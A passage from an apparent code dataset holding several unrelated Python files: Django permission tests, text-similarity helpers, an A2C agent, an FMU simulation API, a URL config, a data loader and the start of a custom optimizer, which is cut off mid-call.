Mock(return_value=self.user_group)\n\n self.view_set.destroy(self.request)\n\n customer.remove_user.assert_called_once_with(\n self.user_group.user,\n self.user_group.group.customerrole.role_type,\n )\n\n\nclass CustomerPermissionApiPermissionTest(test.APITransactionTestCase):\n all_roles = (\n # user customer role\n TestRole('first', 'first', 'owner'),\n\n TestRole('both', 'first', 'owner'),\n TestRole('both', 'second', 'owner'),\n )\n\n role_map = {\n 'owner': CustomerRole.OWNER,\n }\n\n def setUp(self):\n self.users = {\n # 'staff': factories.UserFactory(is_staff=True),\n 'first': factories.UserFactory(),\n 'both': factories.UserFactory(),\n 'no_role': factories.UserFactory(),\n }\n\n self.customers = {\n 'first': factories.CustomerFactory(),\n 'second': factories.CustomerFactory(),\n }\n\n for user, customer, role in self.all_roles:\n self.customers[customer].add_user(self.users[user], self.role_map[role])\n\n # No role tests\n def test_user_cannot_list_roles_within_customers_he_has_no_role_in(self):\n for login_user in self.users:\n self.client.force_authenticate(user=self.users[login_user])\n\n response = self.client.get(reverse('customer_permission-list'))\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n users_customers = set(r.customer for r in self.all_roles if r.user == login_user)\n unseen_roles = (r for r in self.all_roles if r.customer not in users_customers)\n\n for role in unseen_roles:\n role_url = self._get_permission_url(*role)\n\n urls = set([role['url'] for role in response.data])\n\n self.assertNotIn(\n role_url, urls,\n '{0} user sees privilege he is not supposed to see: {1}'.format(login_user, role),\n )\n\n # Customer owner tests\n def test_user_can_list_roles_within_customers_he_owns(self):\n for login_user in self.users:\n self.client.force_authenticate(user=self.users[login_user])\n\n response = self.client.get(reverse('customer_permission-list'))\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n users_customers = set(r.customer for r in self.all_roles if r.user == login_user)\n seen_roles = (r for r in self.all_roles if r.customer in users_customers)\n\n for role in seen_roles:\n role_url = self._get_permission_url(*role)\n\n urls = set([role['url'] for role in response.data])\n\n self.assertIn(\n role_url, urls,\n '{0} user does not see privilege he is supposed to see: {1}'.format(login_user, role),\n )\n\n def test_user_can_assign_roles_within_customers_he_owns(self):\n self.client.force_authenticate(user=self.users['first'])\n\n data = {\n 'customer': factories.CustomerFactory.get_url(self.customers['first']),\n 'user': factories.UserFactory.get_url(self.users['no_role']),\n 'role': 'owner',\n }\n\n response = self.client.post(reverse('customer_permission-list'), data)\n self.assertEqual(response.status_code, status.HTTP_201_CREATED)\n response = self.client.post(reverse('customer_permission-list'), data)\n self.assertEqual(response.status_code, status.HTTP_304_NOT_MODIFIED)\n\n def test_user_cannot_assign_roles_within_customers_he_doesnt_owns(self):\n self.client.force_authenticate(user=self.users['no_role'])\n\n data = {\n 'customer': factories.CustomerFactory.get_url(self.customers['first']),\n 'user': factories.UserFactory.get_url(self.users['no_role']),\n 'role': 'owner'\n }\n\n response = self.client.post(reverse('customer_permission-list'), data)\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n\n def test_user_with_customer_owner_role_cannot_assign_roles_within_customers_he_doesnt_own(self):\n self.client.force_authenticate(user=self.users['no_role'])\n\n data = {\n 'customer': factories.CustomerFactory.get_url(self.customers['first']),\n 'user': factories.UserFactory.get_url(self.users['no_role']),\n 'role': 'owner'\n }\n\n response = self.client.post(reverse('customer_permission-list'), data)\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n\n def test_user_cannot_assign_roles_within_customers_he_doesnt_own_but_has_project_admin_role(self):\n admin_user = factories.UserFactory()\n project = factories.ProjectFactory(customer=self.customers['first'])\n project.add_user(admin_user, ProjectRole.ADMINISTRATOR)\n\n self.client.force_authenticate(user=admin_user)\n\n data = {\n 'customer': factories.CustomerFactory.get_url(self.customers['first']),\n 'user': factories.UserFactory.get_url(self.users['no_role']),\n 'role': 'owner'\n }\n\n response = self.client.post(reverse('customer_permission-list'), data)\n self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)\n\n def test_user_can_list_roles_within_customer_if_he_has_admin_role_in_a_project_owned_by_that_customer(self):\n admin_user = factories.UserFactory()\n project = factories.ProjectFactory(customer=self.customers['first'])\n project.add_user(admin_user, ProjectRole.ADMINISTRATOR)\n\n self.client.force_authenticate(user=admin_user)\n\n response = self.client.get(reverse('customer_permission-list'))\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n role_url = self._get_permission_url('first', 'first', 'owner')\n\n urls = set([role['url'] for role in response.data])\n\n self.assertIn(\n role_url, urls,\n '{0} user does not see privilege he is supposed to see: {1}'.format(admin_user, role_url),\n )\n\n # Helper methods\n def _get_permission_url(self, user, customer, role):\n permission = User.groups.through.objects.get(\n user=self.users[user],\n group__customerrole__role_type=self.role_map[role],\n group__customerrole__customer=self.customers[customer],\n )\n return 'http://testserver' + reverse('customer_permission-detail', kwargs={'pk': permission.pk})\n\n\nclass CustomerPermissionApiFiltrationTest(test.APISimpleTestCase):\n def setUp(self):\n staff_user = factories.UserFactory(is_staff=True)\n self.client.force_authenticate(user=staff_user)\n\n self.users = {\n 'first': factories.UserFactory(),\n 'second': factories.UserFactory(),\n }\n\n self.customers = {\n 'first': factories.CustomerFactory(),\n 'second': factories.CustomerFactory(),\n }\n\n for customer in self.customers:\n self.customers[customer].add_user(self.users['first'], CustomerRole.OWNER)\n self.customers[customer].add_user(self.users['second'], CustomerRole.OWNER)\n\n def test_staff_user_can_filter_roles_within_customer_by_customer_uuid(self):\n response = self.client.get(reverse('customer_permission-list'))\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n for customer in self.customers:\n response = self.client.get(reverse('customer_permission-list'),\n data={'customer': self.customers[customer].uuid})\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n customer_url = self._get_customer_url(self.customers[customer])\n\n for permission in response.data:\n self.assertEqual(customer_url, permission['customer'])\n\n def test_staff_user_can_filter_roles_within_customer_by_username(self):\n response = self.client.get(reverse('customer_permission-list'))\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n for user in self.users:\n self._ensure_matching_entries_in('username', self.users[user].username)\n self._ensure_non_matching_entries_not_in('username', self.users[user].username)\n\n def test_staff_user_can_filter_roles_within_customer_by_native_name(self):\n response = self.client.get(reverse('customer_permission-list'))\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n for user in self.users:\n self._ensure_matching_entries_in('native_name', self.users[user].native_name)\n self._ensure_non_matching_entries_not_in('native_name', self.users[user].native_name)\n\n def test_staff_user_can_filter_roles_within_customer_by_full_name(self):\n response = self.client.get(reverse('customer_permission-list'))\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n for user in self.users:\n self._ensure_matching_entries_in('full_name', self.users[user].full_name)\n self._ensure_non_matching_entries_not_in('full_name', self.users[user].full_name)\n\n def test_staff_user_can_filter_roles_within_customer_by_role_type_name(self):\n response = self.client.get(reverse('customer_permission-list'))\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n response = self.client.get(reverse('customer_permission-list'),\n data={'role': 'owner'})\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n for permission in response.data:\n self.assertEqual('owner', permission['role'])\n\n def test_staff_user_cannot_filter_roles_within_customer_by_role_type_pk(self):\n response = self.client.get(reverse('customer_permission-list'))\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n response = self.client.get(reverse('customer_permission-list'),\n data={'role': '1'})\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertEqual(response.data, [])\n\n def test_staff_user_can_see_required_fields_in_filtration_response(self):\n response = self.client.get(reverse('customer_permission-list'))\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n for customer in self.customers:\n response = self.client.get(reverse('customer_permission-list'),\n data={'customer': self.customers[customer].uuid})\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n required_fields = ('url', 'user_native_name', 'user_full_name', 'user_username')\n\n for permission in response.data:\n for field in required_fields:\n self.assertIn(field, permission)\n\n # Helper methods\n def _ensure_matching_entries_in(self, field, value):\n response = self.client.get(reverse('customer_permission-list'),\n data={field: value})\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n for permission in response.data:\n self.assertEqual(value, permission['user_' + field])\n\n def _ensure_non_matching_entries_not_in(self, field, value):\n user = factories.UserFactory()\n\n customer = factories.CustomerFactory()\n customer.add_user(user, CustomerRole.OWNER)\n\n response = self.client.get(reverse('customer_permission-list'),\n data={field: getattr(user, field)})\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n for permission in response.data:\n self.assertNotEqual(value, permission['user_' + field])\n\n def _get_customer_url(self, customer):\n return 'http://testserver' + reverse('customer-detail', kwargs={'uuid': customer.uuid})\n","sub_path":"nodeconductor/structure/tests/test_customer_permissions.py","file_name":"test_customer_permissions.py","file_ext":"py","file_size_in_byte":13555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"331879999","text":"from nltk.tokenize import sent_tokenize\n\n\ndef lines(a, b):\n \"\"\"Return lines in both a and b\"\"\"\n\n # delclear variables\n li_len = 0\n a_list = a.split(\"\\n\")\n b_list = b.split(\"\\n\")\n sim_list = []\n\n # judge comparing line's length\n if len(a_list) < len(b_list):\n li_len = len(a_list)\n else:\n li_len = len(b_list)\n\n # append lines corresponding between a and b to sim_list\n for a_item in a_list:\n for b_item in b_list:\n if a_item == b_item:\n sim_list.append(a_item)\n break\n\n # print(a_list)\n # print(b_list)\n # print(sim_list)\n\n return sim_list\n\n\ndef sentences(a, b):\n \"\"\"Return sentences in both a and b\"\"\"\n\n # split sentences by sentence\n a_list = sent_tokenize(a, language='english') # split by '.'\n a_list = list(dict.fromkeys(a_list))\n b_list = sent_tokenize(b, language='english')\n b_list = list(dict.fromkeys(b_list))\n\n # judge comparing line's length\n li_len = 0\n if len(a_list) < len(b_list):\n li_len = len(a_list)\n else:\n li_len = len(b_list)\n\n # append sentences corresponding between a and b to sim_list\n sim_list = []\n for a_item in a_list:\n for b_item in b_list:\n if a_item == b_item:\n sim_list.append(a_item)\n break\n\n # print(a_list)\n # print(b_list)\n # print(sim_list)\n return sim_list\n\n\ndef substrings(a, b, n):\n \"\"\"Return substrings of length n in both a and b\"\"\"\n\n # store each strings(a and b) as substring\n a_list = []\n b_list = []\n a_substr_num = len(a) - n + 1\n b_substr_num = len(b) - n + 1\n substr = \"\"\n\n # create substrings list by each strings(a and b)\n for i in range(a_substr_num):\n substr = \"\"\n for j in range(i, i+n, 1):\n substr = substr + a[j]\n a_list.append(substr)\n a_list = list(dict.fromkeys(a_list))\n\n for i in range(b_substr_num):\n substr = \"\"\n for j in range(i, i+n, 1):\n substr = substr + b[j]\n b_list.append(substr)\n b_list = list(dict.fromkeys(b_list))\n\n # append substrings corresponding between a and b to sim_list\n sim_list = []\n for a_item in a_list:\n for b_item in b_list:\n if a_item == b_item:\n sim_list.append(a_item)\n break\n\n # print(a_list)\n # print(b_list)\n # print(sim_list)\n\n return sim_list\n\n","sub_path":"week7_problem1_similarities/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":2433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"4476851","text":"#######################################################################\n# Copyright (C) 2017 Shangtong Zhang(zhangshangtong.cpp@gmail.com) #\n# Permission given to modify the code as long as you keep this #\n# declaration at the top #\n#######################################################################\n\nfrom network import *\nfrom component import *\nfrom utils import *\nimport numpy as np\nimport time\nimport os\nimport pickle\nimport torch\n\nclass A2CAgent:\n def __init__(self, config):\n self.config = config\n self.learning_network = config.network_fn()\n self.optimizer = config.optimizer_fn(self.learning_network.parameters())\n self.task = config.task_fn()\n self.replay = config.replay_fn()\n self.policy = config.policy_fn()\n self.total_steps = 0\n\n def episode(self, deterministic=False):\n state = self.task.reset()\n total_reward = 0.0\n steps = 0\n while True:\n prob = self.learning_network.predict(np.stack([state]), True)\n action = self.policy.sample(prob, deterministic=deterministic)\n next_state, reward, done, info = self.task.step(action)\n done = (done or (self.config.max_episode_length and steps > self.config.max_episode_length))\n if not deterministic:\n self.replay.feed([state, action, reward, next_state, int(done)])\n self.total_steps += 1\n total_reward += np.sum(reward * self.config.reward_weight)\n steps += 1\n state = next_state\n if done:\n break\n if not deterministic and self.total_steps > self.config.min_memory_size:\n experiences = self.replay.sample()\n states, actions, rewards, next_states, terminals = experiences\n prob, log_prob, value = self.learning_network.predict(states, False)\n _, _, v_next = self.learning_network.predict(next_states, False)\n terminals = self.learning_network.to_torch_variable(terminals).unsqueeze(1)\n rewards = self.learning_network.to_torch_variable(rewards).unsqueeze(1)\n actions = self.learning_network.to_torch_variable(actions, 'int64').unsqueeze(1)\n target = rewards + self.config.discount * v_next * (1 - terminals)\n target = target.detach()\n advantage = target - value\n value_loss = 0.5 * advantage.pow(2).mean()\n policy_loss = -(log_prob.gather(1, actions) * Variable(advantage.data)).mean()\n kl_loss = (prob * log_prob).sum(1).mean()\n\n self.optimizer.zero_grad()\n (value_loss + policy_loss + self.config.entropy_weight * kl_loss).backward()\n torch.nn.utils.clip_grad_norm(self.learning_network.parameters(), self.config.gradient_clip)\n self.optimizer.step()\n\n return total_reward, steps\n\n def run(self):\n window_size = 100\n ep = 0\n rewards = []\n steps = []\n avg_test_rewards = []\n while True:\n ep += 1\n reward, step = self.episode()\n rewards.append(reward)\n steps.append(step)\n avg_reward = np.mean(rewards[-window_size:])\n self.config.logger.info('episode %d, reward %f, avg reward %f, total steps %d, episode step %d' % (\n ep, reward, avg_reward, self.total_steps, step))\n\n if self.config.episode_limit and ep > self.config.episode_limit:\n return rewards, steps, avg_test_rewards\n\n if self.config.test_interval and ep % self.config.test_interval == 0:\n self.config.logger.info('Testing...')\n with open('data/%s-dqn-model-%s.bin' % (self.config.tag, self.task.name), 'wb') as f:\n pickle.dump(self.learning_network.state_dict(), f)\n test_rewards = []\n for _ in range(self.config.test_repetitions):\n reward, step = self.episode(True)\n test_rewards.append(reward)\n avg_reward = np.mean(test_rewards)\n avg_test_rewards.append(avg_reward)\n self.config.logger.info('Avg reward %f(%f)' % (\n avg_reward, np.std(test_rewards) / np.sqrt(self.config.test_repetitions)))\n with open('data/%sdqn-statistics-%s.bin' % (self.config.tag, self.task.name), 'wb') as f:\n pickle.dump({'rewards': rewards,\n 'test_rewards': avg_test_rewards}, f)\n if avg_reward > self.task.success_threshold:\n break\n","sub_path":"agent/A2C_agent.py","file_name":"A2C_agent.py","file_ext":"py","file_size_in_byte":4732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"337096612","text":"# -*- coding: utf-8 -*-\n\"\"\"\nThis module defines the API to the test case used by the REST requests to \nperform functions such as advancing the simulation, retreiving test case \ninformation, and calculating and reporting results.\n\n\"\"\"\n\nfrom pyfmi import load_fmu\nimport numpy as np\nimport copy\nimport config\nimport json\nfrom scipy.integrate import trapz\n\nclass TestCase(object):\n '''Class that implements the test case.\n \n '''\n \n def __init__(self):\n '''Constructor.\n \n '''\n \n # Get configuration information\n con = config.get_config()\n # Define simulation model\n self.fmupath = con['fmupath']\n # Load fmu\n self.fmu = load_fmu(self.fmupath)\n # Get version\n self.fmu_version = self.fmu.get_version()\n # Get available control inputs and outputs\n if self.fmu_version == '2.0':\n input_names = self.fmu.get_model_variables(causality = 2).keys()\n output_names = self.fmu.get_model_variables(causality = 3).keys()\n else:\n raise ValueError('FMU must be version 2.0.')\n # Define KPIs\n self.kpipath = con['kpipath']\n # Load kpi json\n with open(self.kpipath, 'r') as f:\n json_str = f.read()\n self.kpi_json = json.loads(json_str)\n # Define measurements\n self.y = {'time':[]}\n for key in output_names:\n self.y[key] = []\n self.y_store = copy.deepcopy(self.y)\n # Define inputs\n self.u = {'time':[]}\n for key in input_names:\n self.u[key] = []\n self.u_store = copy.deepcopy(self.u)\n # Set default options\n self.options = self.fmu.simulate_options()\n self.options['CVode_options']['rtol'] = 1e-6 \n # Set default communication step\n self.set_step(con['step'])\n # Set initial simulation start\n self.start_time = 0\n self.initialize = True\n self.options['initialize'] = self.initialize\n \n def advance(self,u):\n '''Advances the test case model simulation forward one step.\n \n Parameters\n ----------\n u : dict\n Defines the control input data to be used for the step.\n { : }\n \n Returns\n -------\n y : dict\n Contains the measurement data at the end of the step.\n { : }\n \n '''\n \n # Set final time\n self.final_time = self.start_time + self.step\n # Set control inputs if they exist\n if u.keys():\n u_list = []\n u_trajectory = self.start_time\n for key in u.keys():\n if key != 'time':\n value = float(u[key])\n u_list.append(key)\n u_trajectory = np.vstack((u_trajectory, value))\n input_object = (u_list, np.transpose(u_trajectory))\n else:\n input_object = None\n # Simulate\n self.options['initialize'] = self.initialize\n res = self.fmu.simulate(start_time=self.start_time, \n final_time=self.final_time, \n options=self.options, \n input=input_object)\n # Get result and store measurement\n for key in self.y.keys():\n self.y[key] = res[key][-1]\n self.y_store[key] = self.y_store[key] + res[key].tolist()[1:]\n # Store control inputs\n for key in self.u.keys():\n self.u_store[key] = self.u_store[key] + res[key].tolist()[1:] \n # Advance start time\n self.start_time = self.final_time\n # Prevent inialize\n self.initialize = False\n \n return self.y\n\n def reset(self):\n '''Reset the test.\n \n '''\n \n self.__init__()\n\n def get_step(self):\n '''Returns the current simulation step in seconds.'''\n\n return self.step\n\n def set_step(self,step):\n '''Sets the simulation step in seconds.\n \n Parameters\n ----------\n step : int\n Simulation step in seconds.\n \n Returns\n -------\n None\n \n '''\n \n self.step = float(step)\n \n return None\n \n def get_inputs(self):\n '''Returns a list of control input names.\n \n Parameters\n ----------\n None\n \n Returns\n -------\n inputs : list\n List of control input names.\n \n '''\n\n inputs = self.u.keys()\n \n return inputs\n \n def get_measurements(self):\n '''Returns a list of measurement names.\n \n Parameters\n ----------\n None\n \n Returns\n -------\n measurements : list\n List of measurement names.\n \n '''\n\n measurements = self.y.keys()\n \n return measurements\n \n def get_results(self):\n '''Returns measurement and control input trajectories.\n \n Parameters\n ----------\n None\n \n Returns\n -------\n Y : dict\n Dictionary of measurement and control input names and their \n trajectories as lists.\n {'y':{:},\n 'u':{:}\n }\n \n '''\n \n Y = {'y':self.y_store, 'u':self.u_store}\n \n return Y\n \n def get_kpis(self):\n '''Returns KPI data.\n \n Requires standard sensor signals.\n \n Parameters\n ----------\n None\n \n Returns\n kpis : dict\n Dictionary containing KPI names and values.\n {:}\n \n '''\n \n kpis = dict()\n # Calculate each KPI using json for signalsand save in dictionary\n for kpi in self.kpi_json.keys():\n print(kpi, type(kpi))\n if kpi == 'energy':\n # Calculate total energy [KWh - assumes measured in J]\n E = 0\n for signal in self.kpi_json[kpi]:\n E = E + self.y_store[signal][-1]\n # Store result in dictionary\n kpis[kpi] = E*2.77778e-7 # Convert to kWh\n elif kpi == 'comfort':\n # Calculate total discomfort [K-h = assumes measured in K]\n tot_dis = 0\n heat_setpoint = 273.15+20\n for signal in self.kpi_json[kpi]:\n data = np.array(self.y_store[signal])\n dT_heating = heat_setpoint - data\n dT_heating[dT_heating<0]=0\n tot_dis = tot_dis + trapz(dT_heating,self.y_store['time'])/3600\n # Store result in dictionary\n kpis[kpi] = tot_dis\n else:\n print('No calculation for KPI named \"{0}\".'.format(kpi))\n\n return kpis\n \n def get_name(self):\n '''Returns the name of the test case fmu.\n \n Parameters\n ----------\n None\n \n Returns\n -------\n name : str\n Name of test case fmu.\n \n '''\n \n name = self.fmupath[7:-4]\n \n return name","sub_path":"testcase.py","file_name":"testcase.py","file_ext":"py","file_size_in_byte":7475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"296985497","text":"# -*- coding: utf-8 -*-\n# from django.conf.urls import include, url\nfrom django.urls import include, path\nfrom demo_app.app import rest\n# Uncomment the next two lines to enable the admin:\nimport xadmin\n\nxadmin.autodiscover()\n\n# version模块自动注册需要版本控制的 Model\nfrom xadmin.plugins import xversion\n\nxversion.register_models()\n\nfrom django.contrib import admin\n\nurlpatterns = [\n path('xadmin/', xadmin.site.urls),\n path('login/', rest.Login, name='login'),\n path('register/', rest.Register, name='register'),\n path('checkImage/', rest.CheckImage, name='checkImage'),\n path('checkVideo/', rest.CheckVideo, name='checkVideo'),\n path('collect/', rest.CollectData, name='collect'),\n path('getMyCollect/', rest.GetMyCollect, name='getMyCollect'),\n path('getMyHistory/', rest.GetMyHistory, name='getMyHistory'),\n path('getVerifyCode/', rest.GetVerifyCode, name='getVerifyCode'),\n path('changePwd/', rest.ChangePwd, name='changePwd'),\n path('deleteCollection/', rest.deleteCollection, name='deleteCollection'),\n path('deleteHistory/', rest.deleteHistory, name='deleteHistory'),\n path('deleteAllCollection/', rest.deleteAllCollection, name='deleteAllCollection'),\n path('deleteAllHistory/', rest.deleteAllHistory, name='deleteAllHistory'),\n]\n","sub_path":"xadmin/demo_app/app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"562043737","text":"class Solution(object):\n def summaryRanges(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: List[str]\n \"\"\"\n rt = []\n if not nums:\n return rt\n i = 0\n cur = nums[i]\n while i < len(nums):\n cur = nums[i]\n lower = cur\n rng = str(cur)\n i += 1\n cur += 1\n while i < len(nums) and cur == nums[i]:\n i += 1\n cur += 1\n if lower != cur - 1:\n rng += \"->\" + str(cur - 1)\n rt.append(rng)\n return rt\n\ns = Solution()\nprint(s.summaryRanges([0,1,2,4,5,7]))\nprint(s.summaryRanges([0,2]))\n","sub_path":"228. Summary Ranges/228.py","file_name":"228.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"633828640","text":"import numpy as np\nimport random\nimport cv2 as cv\nimport copy\nimport chainer\n\nfrom xdog import xdog_process\nfrom chainer import cuda\n\nxp = cuda.cupy\ncuda.get_device(0).use()\n\n\nclass DataLoader:\n def __init__(self,\n path,\n extension='.jpg',\n img_size=224,\n latent_dim=256):\n\n self.path = path\n self.pathlist = list(self.path.glob(f\"**/*{extension}\"))\n self.train, self.valid = self._split(self.pathlist)\n self.train_len = len(self.train)\n self.valid_len = len(self.valid)\n\n self.size = img_size\n self.latent_dim = latent_dim\n\n self.interpolations = (\n cv.INTER_LINEAR,\n cv.INTER_AREA,\n cv.INTER_NEAREST,\n cv.INTER_CUBIC,\n cv.INTER_LANCZOS4\n )\n\n def __str__(self):\n return f\"dataset path: {self.path} train data: {self.train_len}\"\n\n def _split(self, pathlist: list):\n split_point = int(len(self.pathlist) * 0.95)\n x_train = self.pathlist[:split_point]\n x_test = self.pathlist[split_point:]\n\n return x_train, x_test\n\n @staticmethod\n def _random_crop(line, color, size):\n height, width = line.shape[0], line.shape[1]\n rnd0 = np.random.randint(height - size - 1)\n rnd1 = np.random.randint(width - size - 1)\n\n line = line[rnd0: rnd0 + size, rnd1: rnd1 + size]\n color = color[rnd0: rnd0 + size, rnd1: rnd1 + size]\n\n return line, color\n\n @staticmethod\n def _coordinate(image):\n image = image[:, :, ::-1]\n image = image.transpose(2, 0, 1)\n image = (image - 127.5) / 127.5\n\n return image\n\n @staticmethod\n def _variable(image_list):\n return chainer.as_variable(xp.array(image_list).astype(xp.float32))\n\n def noise_generator(self, batchsize):\n noise = xp.random.normal(size=(batchsize, self.latent_dim)).astype(xp.float32)\n\n return chainer.as_variable(noise)\n\n def _prepare_pair(self, image_path, size, repeat=16):\n interpolation = random.choice(self.interpolations)\n\n color = cv.imread(str(image_path))\n line = xdog_process(str(image_path))\n\n line, color = self._random_crop(line, color, size=size)\n\n color = self._coordinate(color)\n line = self._coordinate(line)\n\n return (color, line)\n\n def __call__(self, batchsize, mode='train'):\n color_box = []\n line_box = []\n\n for _ in range(batchsize):\n if mode == 'train':\n rnd = np.random.randint(self.train_len)\n image_path = self.train[rnd]\n elif mode == 'valid':\n rnd = np.random.randint(self.valid_len)\n image_path = self.valid[rnd]\n else:\n raise AttributeError\n\n color, line = self._prepare_pair(image_path, size=self.size)\n\n color_box.append(color)\n line_box.append(line)\n\n color = self._variable(color_box)\n line = self._variable(line_box)\n\n return (color, line)\n","sub_path":"atari_gaugan/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":3078,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"350219239","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport abc\nimport contextlib\nimport functools\nimport numpy as np\nimport six\nimport warnings\n\nimport tensorflow as tf\nfrom tensorflow import keras\nfrom tensorflow.python.distribute import central_storage_strategy\nfrom tensorflow.python.distribute import distribution_strategy_context as distribute_ctx\nfrom tensorflow.python.distribute import parameter_server_strategy\nfrom tensorflow.python.distribute import parameter_server_strategy_v2\nfrom tensorflow.python.distribute import values as ds_values\nfrom tensorflow.python.eager import backprop\nfrom tensorflow.python.eager import context\nfrom tensorflow.python.eager import def_function\nfrom tensorflow.python.eager import monitoring\nfrom tensorflow.python.framework import dtypes\nfrom tensorflow.python.framework import ops\nfrom tensorflow.python.framework import tensor_util\nfrom tensorflow.python.ops import array_ops\nfrom tensorflow.python.ops import clip_ops\nfrom tensorflow.python.ops import control_flow_ops\nfrom tensorflow.python.ops import gen_resource_variable_ops\nfrom tensorflow.python.ops import gradients\nfrom tensorflow.python.ops import math_ops\nfrom tensorflow.python.ops import resource_variable_ops\nfrom tensorflow.python.ops import state_ops\nfrom tensorflow.python.ops import variables as tf_variables\nfrom tensorflow.python.saved_model import revived_types\nfrom tensorflow.python.training import training_ops\nfrom tensorflow.python.training.tracking import base as trackable\nfrom tensorflow.python.training.tracking import tracking\nfrom tensorflow.python.util import nest\nfrom tensorflow.python.util import tf_inspect\nfrom tensorflow.python.util.tf_export import keras_export\nfrom tensorflow.python.platform import tf_logging as logging\nfrom tensorflow.python.keras import backend_config\nfrom tensorflow.python.keras import backend\nfrom tensorflow.python.keras import initializers\nfrom tensorflow.python.keras.engine import base_layer_utils\nfrom tensorflow.python.keras.optimizer_v2 import learning_rate_schedule\nfrom tensorflow.python.keras.optimizer_v2 import optimizer_v2\nfrom tensorflow.python.keras.optimizer_v2 import utils as optimizer_utils\nfrom tensorflow.python.keras.utils import generic_utils\nfrom tensorflow.python.keras.utils import layer_utils\nfrom tensorflow.python.keras.utils import tf_inspect\nfrom tensorflow.python.keras.utils import tf_utils\n\ndef name_scope_only_in_function_or_graph(name):\n if not context.executing_eagerly():\n return ops.name_scope_v1(name)\n else:\n return NullContextmanager()\n\nclass NullContextmanager(object):\n def __init__(self, *args, **kwargs):\n pass\n \n def __enter__(self):\n pass\n \n def __exit__(self, type_arg, value_arg, traceback_arg):\n return False\n\nclass MLQN(keras.optimizers.Optimizer):\n \"\"\" Optimizer that implements the MLQN algorithm\n \n Memorry-Less Quasi-Newton (MLQN) Method solves the problem of quasi-Newton (QN) method\n that it requires an approximate matrix of Hessian, which makes it un suitable for the training\n of large-scale, by learning without the storage of matrix.\n This optimizer was implemented for comparing MLMoQ on Tensorflow and published on 17 October 2021.\n \n \"\"\"\n def __init__(self, lr = 1.0, globalconve_term = True, apply_theta = False, name = \"MLQN\", **kwargs):\n \"\"\"\n Args:\n lr : larning rate. Defaults to 1.0.\n globalconve_term : flag of global convergence term of Y. If globalconve_term equals True, global convergence term of Y will work. More details to follow. Defaults to True\n apply_theta : flag of limits the range of theta. If apply_theta equals True, the range of theta will be limited. Defaults to False\n \n \"\"\"\n super().__init__(name, **kwargs)\n # Parameters related main work of MLQN\n self._set_hyper(\"lr\", lr)\n self._set_hyper(\"theta\", 0.0)\n self._set_hyper(\"sg\", 0.0)\n self._set_hyper(\"yg\", 0.0)\n self._set_hyper(\"sy\", 0.0)\n self._set_hyper(\"yy\", 0.0)\n \n # flags\n self.globalconve_term = globalconve_term\n self.apply_theta = apply_theta\n\n def _create_slots(self, var_list):\n for var in var_list:\n self.add_slot(var, 'one_past_var')\n self.add_slot(var, 'g')\n self.add_slot(var, 's')\n self.add_slot(var, 'y')\n self.add_slot(var, 'z')\n self.add_slot(var, \"one_past_grad\")\n \n def minimize(self, loss, var_list, grad_loss=None, name=None, tape=None):\n grads_and_vars = self._compute_gradients(loss, var_list=var_list, grad_loss=grad_loss, tape=tape)\n return self.apply_gradients(grads_and_vars)\n\n \"\"\" ------------------------------------------------------------------------\"\"\"\n # MLQN\n def apply_gradients(self, grads_and_vars, name=None, experimental_aggregate_gradients=True):\n grads_and_vars = optimizer_utils.filter_empty_gradients(grads_and_vars)\n var_list = [v for (_, v) in grads_and_vars]\n\n with ops.name_scope_v2(self._name):\n with ops.init_scope():\n self._create_all_weights(var_list)\n \n if not grads_and_vars:\n return control_flow_ops.no_op()\n\n if distribute_ctx.in_cross_replica_context():\n raise RuntimeError(\"`apply_gradients() cannot be called in cross-replica context. \"\"Use `tf.distribute.Strategy.run` to enter replica \"\"context.\")\n \n strategy = distribute_ctx.get_strategy()\n if (not experimental_aggregate_gradients and strategy and\n isinstance(strategy,\n (parameter_server_strategy.ParameterServerStrategyV1,\n parameter_server_strategy_v2.ParameterServerStrategyV2,\n central_storage_strategy.CentralStorageStrategy,\n central_storage_strategy.CentralStorageStrategyV1))):\n raise NotImplementedError(\"`experimental_aggregate_gradients=False is not supported for \"\"ParameterServerStrategy and CentralStorageStrategy\")\n \n apply_state = self._prepare(var_list)\n if experimental_aggregate_gradients:\n grads_and_vars = self._transform_unaggregated_gradients(grads_and_vars)\n grads_and_vars = self._aggregate_gradients(grads_and_vars)\n grads_and_vars = self._transform_gradients(grads_and_vars)\n\n if optimizer_utils.strategy_supports_no_merge_call():\n return self._distributed_apply(strategy, grads_and_vars, name, apply_state)\n \n else:\n return distribute_ctx.get_replica_context().merge_call(\n 